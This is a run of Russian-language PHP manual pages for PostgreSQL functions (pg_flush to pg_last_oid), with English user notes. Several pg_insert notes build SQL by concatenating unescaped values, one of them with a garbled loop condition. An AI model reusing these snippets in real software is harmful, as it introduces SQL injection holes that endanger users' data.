    'time without time zone' => 'time',
    'timestamp' => 'timestamp',
    'timestamp without time zone' => 'timestamp',
    'timestamp with time zone' => 'timestamptz',
    'time with time zone' => 'timetz',
    'tsquery' => 'tsquery',
    'tsrange' => 'tsrange',
    'tstzrange' => 'tstzrange',
    'tsvector' => 'tsvector',
    'uuid' => 'uuid',
    'bit varying' => 'varbit',
    'character varying' => 'varchar',
    'varchar' => 'varchar',
    'xml' => 'xml'
);

?>
Anonymous 16-Jan-2010 07:18
Also be aware that postgreSQL array fields will prefix the type name with an underscore (e.g. "_int4" or "_text"), while composite a.k.a. row-type fields will return type "record".
marxarelli 02-Jan-2006 02:34
Because complete documentation is always helpful, here are all the PostgreSQL general purpose types as they are listed in the 8.1 documentation, and each corresponding string returned by pg_field_type().

bigint => int8
bigserial => int8
bit => bit
bit varying => varbit
boolean => bool
box => box
bytea => bytea
character varying => varchar
character => bpchar
cidr => cidr
circle => circle
date => date
double precision => float8
inet => inet
integer => int4
interval => interval
line => line
lseg => lseg
macaddr => macaddr
money => money
numeric => numeric
path => path
point => point
polygon => polygon
real => float4
smallint => int2
serial => int4
text => text
time => time
time with time zone => timetz
timestamp => timestamp
timestamp with time zone => timestamptz

And for the record... (note the 7.4 client lib)
# postmaster --version
postmaster (PostgreSQL) 8.0.4

# ldd libphp4.so
...
libpq.so.3 => /usr/lib/libpq.so.3 (0xb7ac8000)
...
andy at a 2 h d dot com 03-May-2003 12:09
The types returned are:
  bool
  int2 (smallint)
  int4
  int8 (bigint)
  numeric
  float4 (real / float)
  float8 (double)
  timestamp
  date
  time
  varchar
  bpchar (fixed leng string, 'blank padded char')
  inet (ip address)
  money

There are some other more esoteric types, e.g. 'circle', but these are the most common.


Сбросить данные исходящего запроса на соединении

  • « pg_field_type
  • pg_free_result »
  • PHP Manual
  • Функции PostgreSQL
  • Сбросить данные исходящего запроса на соединении

pg_flush

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_flush — Сбросить данные исходящего запроса на соединении

Описание

pg_flush(PgSql\Connection $connection): int|bool

pg_flush() сбрасывает любые данные исходящего запроса, ожидающие отправки на соединении.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Возвращает true, если сброс был успешный или данные не ожидали сброса, либо 0, если часть ожидающих данных была сброшена, однако остались ещё или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Очистка результата запроса и освобождение памяти

  • « pg_flush
  • pg_get_notify »
  • PHP Manual
  • Функции PostgreSQL
  • Очистка результата запроса и освобождение памяти

pg_free_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_free_result — Очистка результата запроса и освобождение памяти

Описание

pg_free_result(PgSql\Result $result): bool

pg_free_result() освобождает память, занятую экземпляром PgSql\Result.

Вызывать эту функцию следует только в случае нехватки памяти при выполнении скрипта. В любом случае память будет освобождена автоматически по окончании работы скрипта.

Замечание:

Прежнее название функции: pg_freeresult().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_free_result()

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "Первое поле во второй строчке: ", $val, "\n";

pg_free_result($res);
?>

Результат выполнения данного примера:

Первое поле во второй строчке: 2

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_query_params() - Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса
  • pg_execute() - Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат

User Contributed Notes

Stefan W 30-Aug-2013 12:12
You do NOT need to call pg_free_result() on every result resource you create.
When result resources go out of scope, they are garbage collected just like everything else.
Unless you're hoarding your results somewhere, you can basically ignore this function.

Here's a little test you can run to confirm this: http://pastebin.com/ghw1PHuE


Получение SQL NOTIFY сообщения

  • « pg_free_result
  • pg_get_pid »
  • PHP Manual
  • Функции PostgreSQL
  • Получение SQL NOTIFY сообщения

pg_get_notify

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_get_notify — Получение SQL NOTIFY сообщения

Описание

pg_get_notify(PgSql\Connection $connection, int $mode = PGSQL_ASSOC): array|false

pg_get_notify() получает уведомления, сгенерированные командой SQL NOTIFY. Для получения уведомлений используйте команду SQL LISTEN.

Список параметров

connection

Экземпляр PgSql\Connection.

mode

Необязательный параметр, управляющий тем, как индексируется возвращаемый массив (array). Параметр mode является константой и может принимать следующие значения: PGSQL_ASSOC, PGSQL_NUM и PGSQL_BOTH. При использовании PGSQL_NUM функция возвращает массив с числовыми индексами, при использовании PGSQL_ASSOC она вернёт только ассоциативные индексы, а PGSQL_BOTH вернёт как числовые, так и ассоциативные индексы.

Возвращаемые значения

Массив (array), содержащий сообщение NOTIFY и PID сервера БД. Если поддерживается сервером, массив также содержит версию сервера и полезную нагрузку. Если никаких уведомлений не ожидается, функция вернёт false.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Сообщение PostgreSQL NOTIFY

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

// Слушаем сообщение 'author_updated' из другого процесса
pg_query($conn, 'LISTEN author_updated;');
$notify = pg_get_notify($conn);
if (!$notify) {
echo "Нет сообщений\n";
} else {
print_r($notify);
}
?>

Смотрите также

  • pg_get_pid() - Получает ID процесса сервера БД

User Contributed Notes

david at frankieandshadow dot com 22-Oct-2020 01:52
It appears that pg_get_notify does not distinguish between no message waiting and a failure when checking - both seem to return FALSE.

I had to add a pg_check_connection(...) before pg_get_notify to check the connection is still alive (it's quite likely to be a long-standing connection with pg_get_notify as you'll be polling waiting for something to happen). In my case the remote database server had a hiccup, and without pg_check_connection the listeners failed to notice, so never saw later notifications.
glococo at gmail dot com 17-Jun-2017 08:12
Instant yet Simple PHP notification with HTML5 Server-Sent Events

sse.php
<?php
$dbconn = new PDO("pgsql:host=localhost;dbname=mydb", "pduser", "userpass");
$dbconn->exec('LISTEN "channel_name"');   // those doublequotes are very important

header("X-Accel-Buffering: no"); // disable ngnix webServer buffering
header("Content-Type: text/event-stream");
header("Cache-Control: no-cache");
ob_end_flush();  // close PHP output buffering
$inc=0;

while (1) {
  $result = "";
  // wait for one Notify 10seconds instead of using sleep(10)
  $result = $dbconn->pgsqlGetNotify(PDO::FETCH_ASSOC, 10000);

  if ( $result ) {
        echo "id: $inc\ndata: ".stripslashes(json_encode($result))."\n\n";
        $inc++;
  }

  flush();
}
?>

Tested with HTML+JS sample file from Mozilla web site (ssedemo.php)


Получает ID процесса сервера БД

  • « pg_get_notify
  • pg_get_result »
  • PHP Manual
  • Функции PostgreSQL
  • Получает ID процесса сервера БД

pg_get_pid

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_get_pid — Получает ID процесса сервера БД

Описание

pg_get_pid(PgSql\Connection $connection): int

pg_get_pid() получает PID сервера базы данных. PID полезен, когда требуется определить, какой процесс отправил NOTIFY сообщение, принятое функцией pg_get_notify() (точнее узнать, сервер его отправил или какой-то другой процесс).

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

ID процесса сервера баз данных.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 PID сервера PostgreSQL

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

// PID сервера БД. Сравните его с PID возвращаемым pg_get_notify()
$pid = pg_get_pid($conn);
?>

Смотрите также

  • pg_get_notify() - Получение SQL NOTIFY сообщения

User Contributed Notes

There are no user contributed notes for this page.


Получение результата асинхронного запроса

  • « pg_get_pid
  • pg_host »
  • PHP Manual
  • Функции PostgreSQL
  • Получение результата асинхронного запроса

pg_get_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_get_result — Получение результата асинхронного запроса

Описание

pg_get_result(PgSql\Connection $connection): PgSql\Result|false

pg_get_result() получает экземпляр PgSql\Result из асинхронного
запроса, запущенного функциями pg_send_query(),
pg_send_query_params() или pg_send_execute().

pg_send_query() и другие функции, посылающие асинхронные запросы, может посылать сразу несколько запросов на сервер. Функция pg_get_result() получит результаты всех запросов по очереди.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Экземпляр PgSql\Result, либо false, когда доступных результатов больше нет.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Result; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_get_result()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Невозможно соединиться с сервером");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
}

$res1 = pg_get_result($dbconn);
echo "Первый вызов pg_get_result(): $res1\n";
$rows1 = pg_num_rows($res1);
echo "$res1 имеет $rows1 записей\n\n";

$res2 = pg_get_result($dbconn);
echo "Второй вызов pg_get_result(): $res2\n";
$rows2 = pg_num_rows($res2);
echo "$res2 имеет $rows2 записей\n";
?>

Результат выполнения данного примера:

Первый вызов pg_get_result(): Resource id #3
Resource id #3 имеет 3 записей

Второй вызов pg_get_result(): Resource id #4
Resource id #4 имеет 1 записей

Смотрите также

  • pg_send_query() - Отправляет асинхронный запрос

User Contributed Notes

Ondej Bouda 14-Sep-2015 10:04
It might seem that after calling pg_get_result() upon sending just a single query, the connection will not be busy. The correct way is, though, to call extra pg_get_result() in a loop until it returns false [1].

<?php
$conn = pg_connect('...', PGSQL_CONNECT_FORCE_NEW);
for ($i = 0; $i < 10000; $i++) {
    $query = 'erroneous query';
    if (pg_connection_busy($conn)) {
        fprintf(STDERR, "Connection is busy\n");
        exit(1);
    }
    pg_send_query($conn, $query);
    $res = pg_get_result($conn);
    if ($res === false) {
        fprintf(STDERR, "A result was expected\n");
        exit(1);
    }

    /* The following does not seem necessary for good queries, but is vital for erroneous queries.
       Commenting the loop out leads to this script fail with the "Connection is busy" error. */
    while (pg_get_result($conn));

    // result processing...
}
?>

See http://www.postgresql.org/message-id/flat/gtitqq$26l3$1@news.hub.org#gtitqq$26l3$1@news.hub.org and https://bugs.php.net/bug.php?id=52750 for detailed information.

[1] Or, even better, use an asynchronous connection since PHP 5.6.
gullevek at gullevek dot org 10-Oct-2013 06:28
To have a a simple wait output with async queries you can use the pg_connection_busy command:

<?php
$dbh = pg_connect("host=XXX user=XXX password=XXX dbname=XXX");
if (!$dbh)
{
    print "Failed to connect";
    exit;
}

$query = "SELECT pg_sleep(10)";
if (!pg_connection_busy($dbh))
{
    $sent = pg_send_query($dbh, $query);
    print "Sent query, waiting: ";
    while (pg_connection_busy($dbh)
    {
        print ".";
        flush();
    }
    $res = pg_get_result($dbh);
    print "<br>"; // or \n
    print "Result is: $res";
}

pg_close($dbh);
?>
Marko Tiikkaja 25-Oct-2008 05:14
william at 25thandClement dot com said: "There is no way to poll/wait for a notification to come in. .."
Yes, there is. If there is a query in progress, pg_get_result() will block and return the result of that query when it's complete.
william at 25thandClement dot com 27-Jan-2005 03:03
There is no way to poll/wait for a notification to come in. You either have to enter a busy loop or sleep. Both options are horrible. It would be nice for PHP to provide access to PQsocket so one could select() on the socket connection. This is how it's done from C or Perl.


Возвращает имя хоста, соответствующего подключению

  • « pg_get_result
  • pg_insert »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает имя хоста, соответствующего подключению

pg_host

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_host — Возвращает имя хоста, соответствующего подключению

Описание

pg_host(?PgSql\Connection $connection = null): string

pg_host() возвращает имя хоста, с которым установлено заданное соединение PostgreSQL connection.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Строка, содержащая имя подключённого через connection хоста, либо пустая строка в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_host()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
print "Успешно подключились к : " . pg_host($pgsql_conn) . "<br/>\n";
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL
  • pg_pconnect() - Открывает постоянное соединение с сервером PostgreSQL

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 06:21
This is a simple example of this function, which returns the name of which PostreSQL Database you are currently connected to.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

This function is extremely useful for sites which connect to multiple Postgresql services.

Regards,  --mark


Заносит данные из массива в таблицу базы данных

  • « pg_host
  • pg_last_error »
  • PHP Manual
  • Функции PostgreSQL
  • Заносит данные из массива в таблицу базы данных

pg_insert

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_insert — Заносит данные из массива в таблицу базы данных

Описание

pg_insert(
PgSql\Connection $connection,
string $table_name,
array $values,
int $flags = PGSQL_DML_EXEC
): PgSql\Result|string|bool

pg_insert() вставляет записи из массива values в таблицу table_name.

Если flags указан, pg_convert() применяется к values с указанными флагами.

По умолчанию pg_insert() передаёт необработанные значения. Значения должны быть экранированы или опция PGSQL_DML_ESCAPE должна быть указана. PGSQL_DML_ESCAPE заключает в кавычки и экранирует параметры/идентификаторы. Поэтому имена таблиц/столбцов становятся чувствительными к регистру.

Обратите внимание, что ни экранирование, ни подготовленный запрос не защитят запрос LIKE, JSON, массив, регулярные выражения и т.д.. Эти параметры должны обрабатываться в соответствии с их контекстами, т.е. следует экранировать/проверять значения.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Имя таблицы для вставки данных. Количество колонок в таблице table_name должно быть не меньше, чем элементов в массиве values.

values

Ассоциативный массив(array), в котором ключи являются названиями колонок таблицы table_name, а значения - записи, которые необходимо вставить в эти колонки.

flags

Комбинация констант PGSQL_CONV_OPTS, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC и PGSQL_DML_STRING. Если в числе прочих передаётся PGSQL_DML_STRING в параметре flags, функция вернёт строку запроса. Если установлены PGSQL_DML_NO_CONV или PGSQL_DML_ESCAPE, то функция pg_convert() внутренне не вызывается.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.. Или возвращает строку(string), если PGSQL_DML_STRING включена в список параметров аргумента flags.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Result; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_insert()

<?php
$dbconn = pg_connect('dbname=foo');
// Это безопасно в некоторой степени, поскольку все значения экранируются.
// Однако PostgreSQL поддерживает JSON/массив. Для этих значений это не безопасно
// ни с через экранирование, ни с помощью подготовленного запроса.
$res = pg_insert($dbconn, 'post_log', $_POST, PGSQL_DML_ESCAPE);
if ($res) {
echo "Данные из POST успешно внесены в журнал\n";
} else {
echo "Пользователь прислал неверные данные\n";
}
?>

Смотрите также

  • pg_convert() - Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

User Contributed Notes

Anonymous 12-Aug-2021 04:56
$Result = pg_query_params($db,'INSERT INTO table1 (a, b, c) VALUES ($1,$2,$3) RETURNING *', array('1','2','3');
$Row = pg_fetch_assoc($Result);
pg_insert($db, 'table2', $Row);

pg_insert fail silently if one or more fields on table2 have different names than on table1
phpuser at ego dot gen dot nz 16-Dec-2011 09:12
This function cannot be used to insert a record with only default values - i.e. with an assoc_array of array()
Anonymous 13-Oct-2008 06:06
it seems to fail silently if you try to insert somehting with a mis-named column
jsnell at e-normous dot com 27-Sep-2007 12:49
If you need schema support, this function will do something similar to pg_insert:

function pg_insert_with_schema($connection, $table, $updates)
{
 $schema = 'public';
 if (strpos($table, '.') !== false)
    list($schema, $table) = explode('.', $table);

    if (count($updates) == 0) {
        $sql = "INSERT INTO $schema.\"$table\" DEFAULT VALUES";
            return pg_query($sql);
        } else {
 $sql = "INSERT INTO $schema.\"$table\" ";

 $sql .= '("';
 $sql .= join('", "', array_keys($updates));
 $sql .= '")';

 $sql .= ' values (';
 for($i = 0; $i < count($updates); $i++)
   $sql .= ($i != 0? ', ':'').'$'.($i+1);
 $sql .= ')';
 return pg_query_params($connection, $sql, array_values($updates));
 }
}
excalibur at nospam dot icehouse dot net 16-Oct-2006 08:06
Today at work I isolated a problem I was having with this function to how I was formatting the date.  I was assigning the date in my code as follows:

$today = date( "Ymd" ); // ISO 8601

This format is acceptable to PostgreSQL, as verified by their documentation and buy tests using psql.  However, to make it work in my code, I had to make the following change:

$today = date( "Y-m-d" ); // also ISO 8601 format
ANDYCHR17 at HOTMAIL dot COM 05-May-2006 02:50
Had a few issues while trying to run this in PHP 4.4.0:

- I could not get it to work with column names that are SQL reserved words (example: desc, order). I was forced to change the column names in order to use the function. I could not put the column names in quotes, because that caused pg_convert() to fail.

- Function was returning false until I passed the PGSQL_DML_EXEC option.
skippy at zuavra dot net 14-Feb-2005 07:08
Beware of the following: pg_insert() and pg_update() are adding slashes to all character-like fields they work with. This makes them SQL injection super-safe, but there are unwanted consequences, as follows:

If you have a regular setup with magic_quotes_gcp=On, and you use pg_insert() or pg_update(), you will end up with fields that look as if you used addslashes() twice. To solve this, you can use stripslashes() on the data just before using it with pg_insert() or pg_update().

There's another alternative, which seems better to me. Why make yourself crazy all over the code, adding slashes, stripping slashes, worrying whether magic_quotes_gpc is on or off and so on and so forth? Why do this, when the only place you actually need those slashes is right when you push the data into the database?

So why not get rid of your addslashes() and stripslashes() from all over your code, and turn magic_quotes_gcp off. As long as you always use pg_insert() and pg_update() to do your DB work, you're SQL-injection safe AND slash-headache free.
mina86 at tlen dot pl 23-May-2004 06:24
Next version :) My version checks whether value is bool, null, string or numeric and if one of the values is not function returns false if not. null values are inserted as NULL, bool as true or false and strings are add-shlashed before adding to query string. Note, that this function is not safe. SQL injection is possible with column names if you use $_POST or something similar as a $array.

<?php
function db_build_insert($table, $array) {
  if (count($array)===0) return false;
  $columns = array_keys($array);
  $values = array_values($array);
  unset($array);

  for ($i = 0, $c = count($values); $i$c; ++$i) {
    if (is_bool($values[$i])) {
      $values[$i] = $values[$i]?'true':'false';
    } elseif (is_null($values[$i])) {
      $values[$i] = 'NULL';
    } elseif (is_string($values[$i])) {
      $values[$i] = "'" . addslashes($values[$i]) . "'";
    } elseif (!is_numeric($values[$i])) {
      return false;
    }
  }

  return "INSERT INTO $table ($column_quote" . implode(', ', $columns) .
    ") VALUES (" . implode(', ', $values) . ")";
}
?>
shane at treesandthings dot com 21-Jan-2004 08:04
Returns SQL statement, slight improvement on the code from 'rorezende at hotmail dot com'.  This version adds bool values correctly.It also checks to make sure there is actually a value in the array before including it in the sql statement. (ie: null values or empty strings won't be added to the sql statement)

<?PHP
function db_build_insert($table,$array)
{

   $str = "insert into $table ";
   $strn = "(";
   $strv = " VALUES (";
   while(list($name,$value) = each($array)) {

       if(is_bool($value)) {
                $strn .= "$name,";
                $strv .= ($value ? "true":"false") . ",";
                continue;
        };

       if(is_string($value)) {
                $strn .= "$name,";
                $strv .= "'$value',";
                continue;
        }
       if (!is_null($value) and ($value != "")) {
                $strn .= "$name,";
                $strv .= "$value,";
                continue;
       }
   }
   $strn[strlen($strn)-1] = ')';
   $strv[strlen($strv)-1] = ')';
   $str .= $strn . $strv;
   return $str;

}
?>
rorezende at hotmail dot com 16-Jul-2003 11:49
Time is money, then I write a function similar to pg_insert in PHP (only output sql statement) :

   function db_mount_insert($table,$array) {

    $str = "insert into $table (";
    while(list($name,$value) = each($array)) {
        $str .= "$name,";
    }
    $str[strlen($str)-1] = ')';
    $str .= " values (";
    reset($array);
    while(list($name,$value) = each($array)) {
        if(is_string($value))
            $str .= "'$value',";
        else
            $str .= "$value,";
    }
    $str[strlen($str)-1] = ')';
    $str .= ";"    ;

    return $str;

   }


Получает сообщение о последней произошедшей ошибке на соединении с базой данных

  • « pg_insert
  • pg_last_notice »
  • PHP Manual
  • Функции PostgreSQL
  • Получает сообщение о последней произошедшей ошибке на соединении с базой данных

pg_last_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_last_error — Получает сообщение о последней произошедшей ошибке на соединении с базой данных

Описание

pg_last_error(?PgSql\Connection $connection = null): string

pg_last_error() возвращает сообщение о последней ошибке на заданном соединении connection.

Сообщения об ошибках могут перезаписываться при внутренних вызовах функций PostgreSQL (libpq). Если внутри модуля PostgreSQL произойдёт несколько ошибок, сообщение может оказаться неинформативным.

Для обработки ошибок лучше использовать функции pg_result_error(), pg_result_error_field(), pg_result_status() и pg_connection_status().

Замечание:

Прежнее название функции: pg_errormessage().

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Строка, содержащая сообщение о последней ошибке, произошедшей на соединении connection.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_last_error()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться с сервером");

// Неудачный запрос
$res = pg_query($dbconn, "select * from doesnotexist");

echo pg_last_error($dbconn);
?>

Смотрите также

  • pg_result_error() - Возвращает сообщение об ошибке, связанное с запросом результата
  • pg_result_error_field() - Возвращает конкретное поле из отчёта об ошибках

User Contributed Notes

Tamas Bolner 26-Aug-2010 10:48
From a practical view there are two types of error messages when using transactions:

-"Normal" errors: in this case, the application should stop the current process and show an error message to the user.

-Deadlock errors. This shows that the deadlock detection process of PostgreSQL found a circle of dependency, and broke it by rolling back the transaction in one of the processes, which gets this error msg. In this case, the application should not stop, but repeat the transaction.

I found no discrete way to find out which case are we dealing with. This interface doesn't support error codes, so we have to search for patterns in the message text.

Here is an example for PostgreSQL database connection class. It throws a PostgresException on "normal" errors, and DependencyException in the case of a broken deadlock, when we have to repeat the transaction.

postgres.php:
<?php
class PostgresException extends Exception {
    function __construct($msg) { parent::__construct($msg); }
}

class DependencyException extends PostgresException {
    function __construct() { parent::__construct("deadlock"); }
}

class pg {
    public static $connection;

    private static function connect() {
        self::$connection = @pg_connect("dbname=foodb user=foouser password=foopasswd");
        if (self::$connection === FALSE) {
            throw(new PostgresException("Can't connect to database server."));
        }
    }

    public static function query($sql) {
        if (!isset(self::$connection)) {
            self::connect();
        }

        $result = @pg_query(self::$connection, $sql);
        if ($result === FALSE) {
            $error = pg_last_error(self::$connection);
            if (stripos($error, "deadlock detected") !== false) throw(new DependencyException());

            throw(new PostgresException($error.": ".$sql));
        }

        $out = array();
        while ( ($d = pg_fetch_assoc($result)) !== FALSE) {
            $out[] = $d;
        }

        return $out;
    }
}
?>

It should be used in this way:

test.php:
<?php
include("postgres.php");

do {
    $repeat = false;
    try {
        pg::query("begin");

        ...

        $result = pg::query("SELECT * FROM public.kitten");

        ...

        pg::query("commit");
    }
    catch (DependencyException $e) {
        pg::query("rollback");
        $repeat = true;
    }
} while ($repeat);
?>

The normal errors should be caught at the frontend.

Tamas


Возвращает последнее уведомление от сервера PostgreSQL

  • « pg_last_error
  • pg_last_oid »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает последнее уведомление от сервера PostgreSQL

pg_last_notice

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

pg_last_notice — Возвращает последнее уведомление от сервера PostgreSQL

Описание

pg_last_notice(PgSql\Connection $connection, int $mode = PGSQL_NOTICE_LAST): array|string|bool

pg_last_notice() возвращает последнее уведомление, сгенерированное сервером PostgreSQL на заданном соединении connection. В некоторых случаях сервер посылает уведомления, например при создании в таблице колонки типа SERIAL.

Благодаря pg_last_notice() не требуется делать лишних запросов, чтобы узнать посылала ваша транзакция уведомления или нет.

Можно отключить отслеживание уведомлений установкой в значение 1 параметра pgsql.ignore_notice в файле php.ini.

Можно отключить журналирование уведомлений установкой в значение 0 параметра pgsql.log_notice в файле php.ini. Пока этот параметр установлен в значение 0, уведомления невозможно записать в журнал выполнения.

Список параметров

connection

Экземпляр PgSql\Connection.

mode

Одна из констант PGSQL_NOTICE_LAST (для возврата последнего уведомления), PGSQL_NOTICE_ALL (для возврата всех уведомлений) или PGSQL_NOTICE_CLEAR (для очистки уведомлений).

Возвращаемые значения

Строка, содержащая последнее уведомление на заданном соединении, если задана опция PGSQL_NOTICE_LAST, массив (array), если опция PGSQL_NOTICE_ALL и значение типа bool в случае опции PGSQL_NOTICE_CLEAR.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
7.1.0 | Добавлен параметр mode.

Примеры

Пример #1 Пример использования pg_last_notice()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

$res = pg_query("CREATE TABLE test (id SERIAL)");

$notice = pg_last_notice($pgsql_conn);

echo $notice;
?>

Результат выполнения данного примера:

CREATE TABLE will create implicit sequence "test_id_seq" for "serial" column "test.id"

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_last_error() - Получает сообщение о последней произошедшей ошибке на соединении с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает OID последней добавленной в базу строки

  • « pg_last_notice
  • pg_lo_close »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает OID последней добавленной в базу строки

pg_last_oid

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_last_oid — Возвращает OID последней добавленной в базу строки

Описание

pg_last_oid(PgSql\Result $result): string|int|false

pg_last_oid() используется для определения OID, соответствующего вставленной в таблицу строке.

Поле OID таблиц баз данных стало необязательным, начиная с версии PostgreSQL 7.2, а с версии 8.1 перестанет добавляться в таблицы по умолчанию. Если поле OID таблицы не задано, используйте функцию pg_result_status() для проверки успешности вставки записей в таблицу.

Чтобы получить значение SERIAL поля после вставки строки в таблицу, используйте функцию PostgreSQL CURRVAL, передав ей имя последовательности, значение которой нужно получить. Чтобы узнать имя последовательности, необходимо использовать функцию pg_get_serial_sequence (PostgreSQL 8.0).

В PostgreSQL 8.1 есть функция LASTVAL, возвращающая значение наиболее часто используемой за сессию последовательности. Так можно избежать необходимость задавать название последовательности, таблицы или колонки.

Замечание:

Прежнее название функции: pg_getlastoid().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

Возвращаемые значения

Целое число (int) или строка (string), содержащая OID последней вставленной строки на соединении connection, либо false, если произошла ошибка или поле OID недоступно.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_last_oid()

<?php
// Подключение к базе данных
pg_connect("dbname=mark host=localhost");

// Создание тестовой таблицы
pg_query("CREATE TABLE test (a INTEGER) WITH OIDS");

// Вставка данных в таблицу
$res = pg_query("INSERT INTO test VALUES (1)");

$oid = pg_last_oid($res);
?>

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_result_status() - Возвращает состояние результата запроса

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 02:11
Simply getting LAST_INSERT_ID;

<?php
// Note: waiting for "select" part from pg_query below.
// Note: separating the query parts using semicolons (;).

$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19);
    SELECT Currval('users_id_seq') LIMIT 1
");

// or
$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19) RETURNING Currval('users_id_seq')");

$fch = pg_fetch_row($qry);
print_r($fch);
?>

Array
(
    [0] => 3 -> Gotcha!
)
Jonathan Bond-Caron 30-May-2005 08:21
I'm sharing an elegant solution I found on the web (Vadim Passynkov):

CREATE RULE get_pkey_on_insert AS ON INSERT TO Customers DO SELECT currval('customers_customers_id_seq') AS id;

Every time you insert to the Customers table, postgreSQL will return a table with the id you just inserted. No need to worry about concurrency, the ressource is locked when the rule gets executed.

Note that in cases of multiple inserts:
INSERT INTO C1 ( ... ) ( SELECT * FROM C2);

we would return the id of the last inserted row.

For more info about PostgreSQL rules:
http://www.postgresql.org/docs/7.4/interactive/sql-createrule.html
julian at e2-media dot co dot nz 25-Aug-2003 11:21
The way I nuderstand it, each value is emitted by a sequence only ONCE. If you retrieve a number (say 12) from a sequence using nextval(), the sequence will advance and subsequent calls to nextval() will return further numbers (after 12) in the sequence.

